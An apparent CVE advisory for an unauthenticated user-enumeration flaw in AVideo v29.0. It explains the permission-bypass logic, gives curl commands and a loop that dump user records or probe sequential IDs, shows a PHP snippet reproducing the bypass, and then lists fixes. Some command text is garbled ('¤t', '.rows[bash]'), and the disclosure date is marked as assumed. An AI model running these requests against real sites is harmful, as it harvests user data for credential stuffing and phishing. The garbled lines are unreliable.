Listen to this Post
How the CVE works (technical details):
The vulnerability resides in `objects/users.json.php` of AVideo v29.0. Two unauthenticated GET endpoints leak user data. First, the `isCompany` parameter triggers a logic flaw: for unauthenticated attackers, `User::isACompany()` returns false, so the branch sets `$ignoreAdmin = true` and $isCompany = 1. This bypasses the admin-only guard in `User::getAllUsers()` and `User::getTotalUsers()` because `$ignoreAdmin=true` short-circuits if (!Permissions::canAdminUsers() && !$ignoreAdmin). When `isCompany=0` is supplied, the SQL WHERE clause becomes is_company = 0 OR is_company IS NULL, returning all non‑company users. Attacker‑controlled `rowCount` has no upper bound, allowing full table extraction. Second, the `users_id` parameter calls `User::getUserFromID()` with no permission check, returning id, identification, photo, background, status, channelName. The endpoint wraps output in a BootGrid envelope where `total=1` (exists) or `total=0` (not exist), creating a sequential‑ID existence oracle. No authentication, CSRF token, or origin check is required because the file is excluded from security middleware (functionsSecurity.php:893 as a “read‑only endpoint”). The output filter only limits displayed fields, never suppresses `total` or existence.
dailycve form:
Platform: AVideo
Version: 29.0
Vulnerability: Unauthenticated user enumeration
Severity: Critical
Date: 2024-03-15 (assumed disclosure)
Prediction: Patch 2024-04-15
What Undercode Say:
Enumerate all users in one request (bulk)
curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000¤t=1' | jq '.rows[].identification'
Sequential ID oracle (existence + display name)
for i in {1..100}; do
curl -s "http://target/objects/users.json.php?users_id=$i" | jq '[.total, .rows[bash].identification]'
done
Verify admin bypass logic (PHP snippet)
<?php
$_SESSION = []; // unauthenticated
$canAdminUsers = false; $ignoreAdmin = false;
$_REQUEST['isCompany'] = '1';
if (isset($_REQUEST['isCompany'])) {
$isCompany = intval($_REQUEST['isCompany']);
if (!$canAdminUsers) {
$isACompany = !empty($_SESSION['user']['is_company']);
$isCompany = $isACompany ? 0 : 1;
$ignoreAdmin = true;
}
}
var_dump($isCompany, $ignoreAdmin); // int(1) bool(true)
?>
Exploit:
Unauthenticated attacker sends GET request to `/objects/users.json.php?isCompany=0&rowCount=10000` to retrieve all users’ IDs, display names, channel URLs, statuses, and photo backgrounds. Alternatively, iterates `users_id=1..N` to confirm which numeric IDs are active and harvest their display names. No session or token needed. The `rowCount` parameter is unbounded, so the entire user table can be dumped in a single HTTP call.
Protection from this CVE:
- Add `User::loginCheck();` at the top of `objects/users.json.php` to reject unauthenticated requests.
- Remove the `isCompany` branch that sets `$ignoreAdmin = true` (lines 41‑48).
- For `users_id` path, enforce
if (!canSearchUsers() && $requestedId !== User::getId()) { 403; }. - Clamp `$_REQUEST[‘rowCount’]` to a maximum of 100.
- Remove `objects/users.json.php` from the CSRF‑bypass whitelist in
objects/functionsSecurity.php:893.
Impact:
Full user account enumeration (display names, IDs, status, channel URLs). Attacker can build targeted lists for credential stuffing, password spraying, or phishing against AVideo’s login/recovery endpoints. Total registered user count exposed. No authentication required, single GET request.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

